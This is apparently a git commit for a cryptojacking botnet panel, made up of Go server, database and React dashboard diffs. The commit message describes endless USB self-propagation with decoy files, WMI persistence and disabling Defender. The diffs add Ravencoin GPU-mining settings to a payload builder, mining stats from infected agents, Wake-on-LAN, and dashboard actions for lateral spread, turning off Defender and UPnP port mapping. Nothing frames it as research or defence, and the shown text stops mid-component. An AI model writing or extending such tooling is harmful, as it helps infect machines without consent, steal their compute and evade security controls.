Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.
- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
This commit is contained in:
@@ -1,12 +1,15 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -336,6 +339,77 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
})
|
||||
}
|
||||
|
||||
// PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address.
|
||||
// The packet is broadcast on UDP port 9 to the last known subnet.
|
||||
func (f *FleetHandler) PostAgentWOL(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if id == "" {
|
||||
http.Error(w, "agent id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
// Accept optional override MAC from request body
|
||||
var req struct {
|
||||
MAC string `json:"mac"`
|
||||
}
|
||||
_ = json.NewDecoder(r.Body).Decode(&req)
|
||||
|
||||
// Look up MAC from DB if not provided
|
||||
mac := req.MAC
|
||||
if mac == "" {
|
||||
agent, err := f.db.GetAgent(id)
|
||||
if err != nil || agent == nil {
|
||||
writeJSON(w, map[string]interface{}{"success": false, "error": "agent not found"})
|
||||
return
|
||||
}
|
||||
mac = agent.MacAddress
|
||||
}
|
||||
if mac == "" {
|
||||
writeJSON(w, map[string]interface{}{"success": false, "error": "no MAC address on record — provide mac in request body"})
|
||||
return
|
||||
}
|
||||
|
||||
if err := sendMagicPacket(mac); err != nil {
|
||||
writeJSON(w, map[string]interface{}{"success": false, "error": err.Error()})
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"success": true, "mac": mac})
|
||||
}
|
||||
|
||||
// sendMagicPacket sends a WOL magic packet for the given MAC address.
|
||||
func sendMagicPacket(macStr string) error {
|
||||
macStr = strings.ReplaceAll(macStr, "-", ":")
|
||||
hw, err := net.ParseMAC(macStr)
|
||||
if err != nil {
|
||||
return fmt.Errorf("invalid MAC address %q: %w", macStr, err)
|
||||
}
|
||||
|
||||
// Magic packet: 6× 0xFF followed by 16× MAC address (102 bytes total)
|
||||
pkt := make([]byte, 102)
|
||||
for i := 0; i < 6; i++ {
|
||||
pkt[i] = 0xFF
|
||||
}
|
||||
for i := 1; i <= 16; i++ {
|
||||
copy(pkt[i*6:], hw)
|
||||
}
|
||||
|
||||
// Broadcast on limited broadcast address, port 9
|
||||
addr := &net.UDPAddr{IP: net.IPv4bcast, Port: 9}
|
||||
conn, err := net.DialUDP("udp4", nil, addr)
|
||||
if err != nil {
|
||||
// Try port 7 as fallback
|
||||
addr.Port = 7
|
||||
conn, err = net.DialUDP("udp4", nil, addr)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open UDP socket: %w", err)
|
||||
}
|
||||
}
|
||||
defer conn.Close()
|
||||
_, err = conn.Write(pkt)
|
||||
_ = binary.BigEndian // ensure import is used
|
||||
return err
|
||||
}
|
||||
|
||||
type agentMetaRequest struct {
|
||||
Notes string `json:"notes"`
|
||||
Tags []string `json:"tags"`
|
||||
|
||||
@@ -442,6 +442,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/agents/{id}/stats", h.GetAgentStats)
|
||||
if fleetHandler != nil {
|
||||
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
|
||||
r.Post("/agents/{id}/wol", fleetHandler.PostAgentWOL)
|
||||
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
|
||||
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
|
||||
r.Delete("/agents/{id}", fleetHandler.DeleteAgent)
|
||||
|
||||
@@ -388,10 +388,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
}
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "invalid auth payload",
|
||||
@@ -514,6 +515,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
Arch: auth.Arch,
|
||||
OSVersion: auth.OSVersion,
|
||||
Hostname: auth.Hostname,
|
||||
MacAddress: auth.MacAddress,
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
@@ -598,6 +600,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
DiskFreePct *int `json:"disk_free_pct,omitempty"`
|
||||
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
||||
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
||||
// GPU / Ravencoin mining
|
||||
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||||
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
|
||||
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
|
||||
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
||||
GPUModel string `json:"gpu_model,omitempty"`
|
||||
// SSH + posture
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
PostureScore *int `json:"posture_score,omitempty"`
|
||||
@@ -656,6 +664,15 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
|
||||
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
|
||||
|
||||
// GPU / Ravencoin mining stats
|
||||
if stats.GPUMinerActive != nil {
|
||||
broadcast["gpu_miner_active"] = *stats.GPUMinerActive
|
||||
}
|
||||
if stats.GPUHashrate15s > 0 { broadcast["gpu_hashrate_15s"] = stats.GPUHashrate15s }
|
||||
if stats.GPUHashrate1m > 0 { broadcast["gpu_hashrate_1m"] = stats.GPUHashrate1m }
|
||||
if stats.GPUHashrate15m > 0 { broadcast["gpu_hashrate_15m"] = stats.GPUHashrate15m }
|
||||
if stats.GPUModel != "" { broadcast["gpu_model"] = stats.GPUModel }
|
||||
|
||||
// Listen port count
|
||||
if stats.ListenPortCount != nil {
|
||||
broadcast["listen_port_count"] = *stats.ListenPortCount
|
||||
|
||||
@@ -85,6 +85,15 @@ type BuildRequest struct {
|
||||
// CancelToken is a client-generated UUID. Pass the same token to
|
||||
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
|
||||
CancelToken string `json:"cancel_token,omitempty"`
|
||||
|
||||
// GPU / Ravencoin mining
|
||||
GPUEnabled bool `json:"gpu_enabled"`
|
||||
RVNWallet string `json:"rvn_wallet"`
|
||||
RVNPoolHost string `json:"rvn_pool_host"`
|
||||
RVNPoolPort int `json:"rvn_pool_port"`
|
||||
RVNPoolTLS bool `json:"rvn_pool_tls"`
|
||||
RVNPoolPass string `json:"rvn_pool_pass"`
|
||||
RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
|
||||
}
|
||||
|
||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||
@@ -1014,6 +1023,15 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ServiceName: %q,
|
||||
ServiceDonor: %q,
|
||||
FleetSecret: %q,
|
||||
|
||||
// GPU / Ravencoin mining
|
||||
GPUEnabled: %v,
|
||||
RVNWallet: %q,
|
||||
RVNPoolHost: %q,
|
||||
RVNPoolPort: %d,
|
||||
RVNPoolTLS: %v,
|
||||
RVNPoolPass: %q,
|
||||
RVNBackupPools: %s,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -1067,9 +1085,37 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
serviceMasqueradeName(buildID, req),
|
||||
serviceMasqueradeDonor(buildID, req),
|
||||
h.fleetSecret,
|
||||
req.GPUEnabled,
|
||||
req.RVNWallet,
|
||||
rvnPoolHost(req),
|
||||
rvnPoolPort(req),
|
||||
req.RVNPoolTLS,
|
||||
rvnPoolPass(req),
|
||||
formatGoBackupPools(req.RVNBackupPools),
|
||||
)
|
||||
}
|
||||
|
||||
func rvnPoolHost(req *BuildRequest) string {
|
||||
if req.RVNPoolHost == "" {
|
||||
return "rvn.2miners.com"
|
||||
}
|
||||
return req.RVNPoolHost
|
||||
}
|
||||
|
||||
func rvnPoolPort(req *BuildRequest) int {
|
||||
if req.RVNPoolPort <= 0 {
|
||||
return 6060
|
||||
}
|
||||
return req.RVNPoolPort
|
||||
}
|
||||
|
||||
func rvnPoolPass(req *BuildRequest) string {
|
||||
if req.RVNPoolPass == "" {
|
||||
return "x"
|
||||
}
|
||||
return req.RVNPoolPass
|
||||
}
|
||||
|
||||
// formatGoBackupPools emits a Go literal for []config.BackupPool.
|
||||
func formatGoBackupPools(pools []BackupPool) string {
|
||||
if len(pools) == 0 {
|
||||
|
||||
@@ -40,7 +40,7 @@ func (d *Database) scanAgent(row interface {
|
||||
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
|
||||
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname,
|
||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -52,7 +52,7 @@ func (d *Database) scanAgent(row interface {
|
||||
|
||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname`
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address`
|
||||
|
||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||
|
||||
@@ -125,6 +125,7 @@ func (d *Database) migrate() error {
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN mac_address TEXT NOT NULL DEFAULT ''`)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -132,8 +133,8 @@ func (d *Database) migrate() error {
|
||||
// Agent operations
|
||||
|
||||
func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?)
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
wallet = excluded.wallet,
|
||||
@@ -146,8 +147,9 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
platform = excluded.platform,
|
||||
arch = excluded.arch,
|
||||
os_version = excluded.os_version,
|
||||
hostname = excluded.hostname`
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname)
|
||||
hostname = excluded.hostname,
|
||||
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END`
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress)
|
||||
return err
|
||||
}
|
||||
|
||||
|
||||
@@ -28,10 +28,11 @@ type Agent struct {
|
||||
Notes string `json:"notes"`
|
||||
Tags []string `json:"tags"`
|
||||
|
||||
Platform string `json:"platform,omitempty"`
|
||||
Arch string `json:"arch,omitempty"`
|
||||
OSVersion string `json:"os_version,omitempty"`
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
Platform string `json:"platform,omitempty"`
|
||||
Arch string `json:"arch,omitempty"`
|
||||
OSVersion string `json:"os_version,omitempty"`
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
|
||||
// Live connection quality — not persisted, set by WSHub each stats cycle.
|
||||
LatencyMs *int `json:"latency_ms,omitempty"`
|
||||
@@ -57,6 +58,13 @@ type Agent struct {
|
||||
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
||||
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
||||
|
||||
// GPU / Ravencoin mining
|
||||
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||||
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
|
||||
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
|
||||
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
||||
GPUModel string `json:"gpu_model,omitempty"`
|
||||
|
||||
// Crucible — SSH status probed by the agent every ~60s
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
|
||||
|
||||
@@ -149,6 +149,11 @@ export const api = {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ action, ...payload }),
|
||||
}),
|
||||
sendWOL: (id: string, mac?: string) =>
|
||||
fetchJSON<{ success: boolean; error?: string; mac?: string }>(`/agents/${id}/wol`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(mac ? { mac } : {}),
|
||||
}),
|
||||
getAgentLog: (id: string, refresh = false) =>
|
||||
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
|
||||
|
||||
|
||||
@@ -128,7 +128,7 @@
|
||||
.tactical-bottom-row {
|
||||
display: flex;
|
||||
gap: 20px;
|
||||
height: 250px;
|
||||
height: 380px;
|
||||
}
|
||||
|
||||
.drop-zone {
|
||||
@@ -172,13 +172,32 @@
|
||||
white-space: pre-wrap;
|
||||
}
|
||||
|
||||
.terminal-placeholder { color: #555; font-style: italic; }
|
||||
.terminal-titlebar {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 5px 10px;
|
||||
background: #0a0014;
|
||||
border-bottom: 1px solid rgba(0,229,255,0.15);
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.terminal-title { font-size: 0.7rem; color: #00e5ff; letter-spacing: 0.06em; font-weight: bold; }
|
||||
.terminal-clear-btn { background: none; border: 1px solid #333; color: #555; font-size: 0.65rem; padding: 2px 8px; border-radius: 3px; cursor: pointer; }
|
||||
.terminal-clear-btn:hover { border-color: #888; color: #ccc; }
|
||||
|
||||
.terminal-placeholder { color: #555; font-style: italic; padding: 0; }
|
||||
|
||||
.log-line.log-ok { color: #00ff88; }
|
||||
.log-line.log-err { color: #ff4444; }
|
||||
.log-line.log-live { color: #888; font-size: 0.78rem; border-top: 1px solid rgba(255,255,255,0.03); padding-top: 2px; }
|
||||
.log-line.log-warn { color: #ffaa00; }
|
||||
|
||||
.terminal-input-bar { display: flex; border-top: 1px solid #333; background: #0a0a0a; }
|
||||
.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; }
|
||||
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
|
||||
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
|
||||
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
|
||||
.terminal-input-bar button:disabled { opacity: 0.4; cursor: not-allowed; }
|
||||
|
||||
/* Upgrade section */
|
||||
.upgrade-group { grid-column: 1 / -1; }
|
||||
@@ -212,4 +231,95 @@
|
||||
font-size: 0.82rem;
|
||||
}
|
||||
|
||||
.log-line { line-height: 1.45; word-break: break-all; }
|
||||
.log-line { line-height: 1.45; word-break: break-all; }
|
||||
|
||||
/* Offline & busy badges in header */
|
||||
.offline-badge {
|
||||
font-size: 0.7rem;
|
||||
padding: 3px 8px;
|
||||
background: rgba(255,40,40,0.2);
|
||||
border: 1px solid rgba(255,40,40,0.5);
|
||||
border-radius: 4px;
|
||||
color: #ff6666;
|
||||
font-weight: bold;
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
.busy-badge {
|
||||
font-size: 0.7rem;
|
||||
padding: 3px 8px;
|
||||
background: rgba(255,171,0,0.2);
|
||||
border: 1px solid rgba(255,171,0,0.4);
|
||||
border-radius: 4px;
|
||||
color: #ffcc44;
|
||||
animation: pulse-amber 1.2s ease-in-out infinite;
|
||||
}
|
||||
.offline-dot { background: #555; box-shadow: 0 0 6px #555; }
|
||||
|
||||
@keyframes pulse-amber {
|
||||
0%, 100% { opacity: 1; }
|
||||
50% { opacity: 0.5; }
|
||||
}
|
||||
|
||||
/* WOL section */
|
||||
.wol-row { display: flex; flex-direction: column; gap: 0.5rem; }
|
||||
.wol-toggle {
|
||||
font-size: 0.8rem;
|
||||
padding: 6px 12px;
|
||||
border-radius: 4px;
|
||||
border: 1px solid rgba(0,229,255,0.3);
|
||||
background: rgba(0,229,255,0.06);
|
||||
color: #00e5ff;
|
||||
cursor: pointer;
|
||||
transition: all 0.2s;
|
||||
text-align: left;
|
||||
}
|
||||
.wol-toggle:hover { background: rgba(0,229,255,0.12); }
|
||||
.wol-form {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
align-items: center;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
.wol-mac-input {
|
||||
flex: 1;
|
||||
min-width: 220px;
|
||||
background: rgba(0,0,0,0.5);
|
||||
border: 1px solid rgba(0,229,255,0.25);
|
||||
border-radius: 4px;
|
||||
color: #e0e0e0;
|
||||
padding: 6px 10px;
|
||||
font-size: 0.82rem;
|
||||
font-family: 'Consolas', monospace;
|
||||
outline: none;
|
||||
}
|
||||
.wol-mac-input:focus { border-color: #00e5ff; }
|
||||
.wol-form button { white-space: nowrap; padding: 6px 14px; font-size: 0.8rem; }
|
||||
|
||||
/* Compact mode extras */
|
||||
.compact-offline-banner {
|
||||
font-size: 0.72rem;
|
||||
color: #ff6666;
|
||||
background: rgba(255,40,40,0.1);
|
||||
border: 1px solid rgba(255,40,40,0.3);
|
||||
border-radius: 4px;
|
||||
padding: 3px 8px;
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
.compact-terminal {
|
||||
margin-top: 6px;
|
||||
background: #050505;
|
||||
border: 1px solid #1a1a1a;
|
||||
border-radius: 4px;
|
||||
padding: 5px 8px;
|
||||
font-family: 'Consolas', monospace;
|
||||
font-size: 0.72rem;
|
||||
max-height: 80px;
|
||||
overflow-y: auto;
|
||||
}
|
||||
.compact-log-line {
|
||||
color: #aaa;
|
||||
line-height: 1.35;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-all;
|
||||
}
|
||||
.compact-log-line:last-child { color: #e0e0e0; }
|
||||
@@ -4,6 +4,7 @@ import type { Agent, Build } from '../../types';
|
||||
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
||||
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload';
|
||||
import { formatHashrate } from '../../help/fleetFilters';
|
||||
import './AgentRemoteActions.css';
|
||||
|
||||
const TERMINAL_MAX_LINES = 500;
|
||||
@@ -22,6 +23,8 @@ interface Props {
|
||||
/** @deprecated Pass commandResults instead. */
|
||||
latestWsMessage?: { type: string; payload: unknown } | null;
|
||||
onCommandSent?: (action: string) => void;
|
||||
/** If true, inject a live stats snapshot into the terminal when agent updates */
|
||||
showLiveStats?: boolean;
|
||||
}
|
||||
|
||||
export default function AgentRemoteActions({
|
||||
@@ -32,6 +35,7 @@ export default function AgentRemoteActions({
|
||||
compact = false,
|
||||
commandResults,
|
||||
onCommandSent,
|
||||
showLiveStats = false,
|
||||
}: Props) {
|
||||
const agentId = agentIdProp ?? agent?.id ?? '';
|
||||
const agentName = agentNameProp ?? agent?.name ?? 'Agent';
|
||||
@@ -43,9 +47,12 @@ export default function AgentRemoteActions({
|
||||
const [terminalLog, setTerminalLog] = useState<string[]>([]);
|
||||
const [screenshotData, setScreenshotData] = useState<string | null>(null);
|
||||
const [busy, setBusy] = useState<string | null>(null);
|
||||
const [wolMac, setWolMac] = useState('');
|
||||
const [wolExpanded, setWolExpanded] = useState(false);
|
||||
// Fleet upgrade
|
||||
const [builds, setBuilds] = useState<Build[]>([]);
|
||||
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
|
||||
const lastStatsRef = useRef<string>('');
|
||||
useEffect(() => {
|
||||
api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
|
||||
}, []);
|
||||
@@ -77,6 +84,43 @@ export default function AgentRemoteActions({
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [agentId]);
|
||||
|
||||
// Pre-fill WOL MAC from agent object when it becomes available
|
||||
useEffect(() => {
|
||||
if (agent?.mac_address && !wolMac) {
|
||||
setWolMac(agent.mac_address);
|
||||
}
|
||||
}, [agent?.mac_address]);
|
||||
|
||||
// Live stats ticker — appends a concise status line whenever agent data changes.
|
||||
// Throttled: only fires if the snapshot hash changed AND at least 15s has elapsed.
|
||||
const lastStatsPushRef = useRef(0);
|
||||
useEffect(() => {
|
||||
if (!showLiveStats || !agent || agent.status !== 'online') return;
|
||||
const snapshot = [
|
||||
agent.hashrate_15s?.toFixed(0),
|
||||
agent.cpu_usage_pct?.toFixed(0),
|
||||
agent.memory_usage_pct?.toFixed(0),
|
||||
agent.cpu_temp_c,
|
||||
].join('|');
|
||||
if (snapshot === lastStatsRef.current) return;
|
||||
const now = Date.now();
|
||||
if (now - lastStatsPushRef.current < 15000) return;
|
||||
lastStatsRef.current = snapshot;
|
||||
lastStatsPushRef.current = now;
|
||||
|
||||
const parts: string[] = [
|
||||
`XMR ${formatHashrate(agent.hashrate_15s ?? 0)}`,
|
||||
`CPU ${(agent.cpu_usage_pct ?? 0).toFixed(1)}%`,
|
||||
`RAM ${(agent.memory_usage_pct ?? 0).toFixed(1)}%`,
|
||||
];
|
||||
if (agent.cpu_temp_c != null) parts.push(`Temp ${agent.cpu_temp_c}°C`);
|
||||
if (agent.gpu_miner_active && agent.gpu_hashrate_15s) {
|
||||
parts.push(`RVN ${formatHashrate(agent.gpu_hashrate_15s)}`);
|
||||
}
|
||||
if (agent.disk_free_pct != null) parts.push(`Disk ${agent.disk_free_pct}% free`);
|
||||
addLog(`◈ LIVE ${parts.join(' │ ')}`);
|
||||
}, [agent, showLiveStats, addLog]);
|
||||
|
||||
// Process every new commandResults entry we haven't seen yet (M13 — no drops).
|
||||
// Filters by _seq so the ring-buffer trim never makes us miss results.
|
||||
useEffect(() => {
|
||||
@@ -95,52 +139,74 @@ export default function AgentRemoteActions({
|
||||
const clean = sanitizeScreenshotBase64(message);
|
||||
if (downloadScreenshotFromBase64(clean, label)) {
|
||||
setScreenshotData(`data:image/jpeg;base64,${clean}`);
|
||||
addLog(`Screenshot saved — ${label}`);
|
||||
addLog(`✓ Screenshot saved — ${label}`);
|
||||
} else {
|
||||
addLog(`[SCREENSHOT] ${label}: invalid image data`);
|
||||
addLog(`✗ [SCREENSHOT] ${label}: invalid image data`);
|
||||
}
|
||||
} else {
|
||||
addLog(`[SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
|
||||
addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
|
||||
}
|
||||
} else if (action) {
|
||||
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
|
||||
const icon = success ? '✓' : '✗';
|
||||
addLog(`${icon} [${action.toUpperCase()}]\n${message ?? ''}`);
|
||||
}
|
||||
}
|
||||
}, [commandResults, agentId, addLog]);
|
||||
|
||||
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
|
||||
if (!agentId) {
|
||||
addLog('No agent selected');
|
||||
addLog('⚠ No agent selected');
|
||||
return;
|
||||
}
|
||||
if (agent && !isOnline) {
|
||||
addLog('Agent is offline');
|
||||
if (action !== 'wol' && agent && !isOnline) {
|
||||
addLog(`⚠ Agent "${agentName}" is offline — command not sent`);
|
||||
return;
|
||||
}
|
||||
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
|
||||
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
|
||||
if (action === 'reboot_machine' && !window.confirm(`REBOOT "${agentName}" now?\n\nThe machine will immediately restart.`)) return;
|
||||
if (action === 'shutdown_machine' && !window.confirm(`SHUT DOWN "${agentName}" now?\n\nThe machine will power off and won't come back unless Wake-on-LAN is used.`)) return;
|
||||
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
|
||||
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
|
||||
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
|
||||
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
|
||||
|
||||
// WOL is handled server-side (no agent connection needed)
|
||||
if (action === 'wol') {
|
||||
setBusy('wol');
|
||||
try {
|
||||
addLog(`◈ Sending Wake-on-LAN to ${agentName} (${args.mac ?? 'stored MAC'})…`);
|
||||
const res = await api.sendWOL(agentId, args.mac as string | undefined);
|
||||
if (res.success) {
|
||||
addLog(`✓ WOL magic packet sent to ${res.mac ?? args.mac ?? 'broadcast'}`);
|
||||
} else {
|
||||
addLog(`✗ WOL failed: ${res.error ?? 'unknown error'}`);
|
||||
}
|
||||
} catch (err: unknown) {
|
||||
addLog(`✗ WOL error: ${err instanceof Error ? err.message : 'request failed'}`);
|
||||
} finally {
|
||||
setBusy(null);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
setBusy(action);
|
||||
try {
|
||||
if (action === 'screenshot') {
|
||||
addLog(`Capturing desktop on ${agentName}…`);
|
||||
} else if (!compact) {
|
||||
addLog(`> Executing ${action}...`);
|
||||
addLog(`◈ Capturing desktop on ${agentName}…`);
|
||||
} else {
|
||||
addLog(`▶ ${action} → ${agentId === 'all' ? 'FLEET' : agentName}`);
|
||||
}
|
||||
const res = await api.sendAgentCommand(agentId, action, args);
|
||||
if (res.success === false) {
|
||||
addLog(`Command rejected: ${res.error ?? 'unknown error'}`);
|
||||
addLog(`✗ Rejected: ${res.error ?? 'unknown error'}`);
|
||||
return;
|
||||
}
|
||||
if (!compact) addLog(`> ${action} sent to ${agentId === 'all' ? 'fleet' : agentName}`);
|
||||
if (action !== 'screenshot') addLog(`✓ command queued`);
|
||||
onCommandSent?.(action);
|
||||
} catch (err: unknown) {
|
||||
const msg = err instanceof Error ? err.message : 'Command failed';
|
||||
addLog(`API Error: ${msg}`);
|
||||
addLog(`✗ ${msg}`);
|
||||
} finally {
|
||||
setBusy(null);
|
||||
}
|
||||
@@ -177,13 +243,23 @@ export default function AgentRemoteActions({
|
||||
if (compact) {
|
||||
return (
|
||||
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
|
||||
{!isOnline && (
|
||||
